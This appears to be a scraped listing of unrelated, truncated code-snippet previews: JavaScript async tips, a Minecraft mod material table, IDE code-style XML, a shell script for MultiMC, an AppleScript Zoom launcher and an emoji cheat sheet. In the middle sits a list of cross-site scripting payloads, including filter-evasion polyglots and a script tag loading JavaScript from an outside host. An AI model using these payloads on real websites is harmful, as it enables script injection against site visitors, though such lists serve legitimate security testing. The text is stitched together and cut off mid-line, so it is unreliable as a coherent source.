TLDR: Use for...of instead of forEach() in asynchronous code.
For legacy browsers, use for(...;...;...) or [].reduce()
To execute the promises in parallel, use Promise.all([].map(...))
| Material | Head Durability | Extra Durability | Handle Durability | Handle Modifer | Mining Level | Mining Speed | Attack Value | Head Traits | Extra/Handle Traits | Drawspeed | Range Multiplier | Bonus Damage | Arrow Shaft Modifier | Bonus Ammo |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Paper | 12.00 | 15.00 | 5.00 | 0.10 | Stone | 0.51 | 0.05 | Writable | Writable | 0.67 | 0.40 | -2.00 | ||
| Constantan | 25.00 | 6 | 6 | 0.80 | Diamond | 4.70 | 4.00 | Thermal Inversion | Thermal Inversion | 1.82 | 1.50 | 5.00 | ||
| Treated Wood | 25.00 | 2 | 35.00 | 1.00 | Stone | 2.00 | 2.00 | Ecological | Ecological | 1.00 | 1.12 | 1.20 | ||
| Wood | 35.00 | 15.00 | 25.00 | 1.00 | Stone | 2.00 | 2.00 | Ecological | Eco |
| <code_scheme name="Airbnb"> | |
| <option name="RIGHT_MARGIN" value="100" /> | |
| <option name="HTML_ATTRIBUTE_WRAP" value="4" /> | |
| <option name="HTML_ELEMENTS_TO_INSERT_NEW_LINE_BEFORE" value="" /> | |
| <option name="HTML_ENFORCE_QUOTES" value="true" /> | |
| <DBN-PSQL> | |
| <case-options enabled="false"> | |
| <option name="KEYWORD_CASE" value="lower" /> | |
| <option name="FUNCTION_CASE" value="lower" /> | |
| <option name="PARAMETER_CASE" value="lower" /> |
First, learn JSON. It's not programming language, not even close. Just follow syntax rules and you will be fine.
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
My preferred code style is 2-space K&R. This is intended to provide a justification for this style.
K&R style has the following properties:
| #!/usr/bin/osascript | |
| # usage: zoom <room-number> [room-password] [--name=NAME] | |
| on split(theString, theDelimiter) | |
| set oldDelimiters to AppleScript's text item delimiters | |
| set AppleScript's text item delimiters to theDelimiter | |
| set theArray to every text item of theString | |
| set AppleScript's text item delimiters to oldDelimiters | |
| return theArray |
To remove a submodule you need to:
People
:bowtie: |
😄 :smile: |
😆 :laughing: |
|---|---|---|
😊 :blush: |
😃 :smiley: |
:relaxed: |
😏 :smirk: |
😍 :heart_eyes: |
😘 :kissing_heart: |
😚 :kissing_closed_eyes: |
😳 :flushed: |
😌 :relieved: |
😆 :satisfied: |
😁 :grin: |
😉 :wink: |
😜 :stuck_out_tongue_winking_eye: |
😝 :stuck_out_tongue_closed_eyes: |
😀 :grinning: |
😗 :kissing: |
😙 :kissing_smiling_eyes: |
😛 :stuck_out_tongue: |
| #!/bin/sh | |
| while true; do | |
| read -p "What is the instance name? " instance | |
| if [ -d ~/Documents/MultiMC/instances/$instance ] | |
| then | |
| dateVar=$(date +%s) | |
| clear | |
| echo | |
| echo "-------------------" |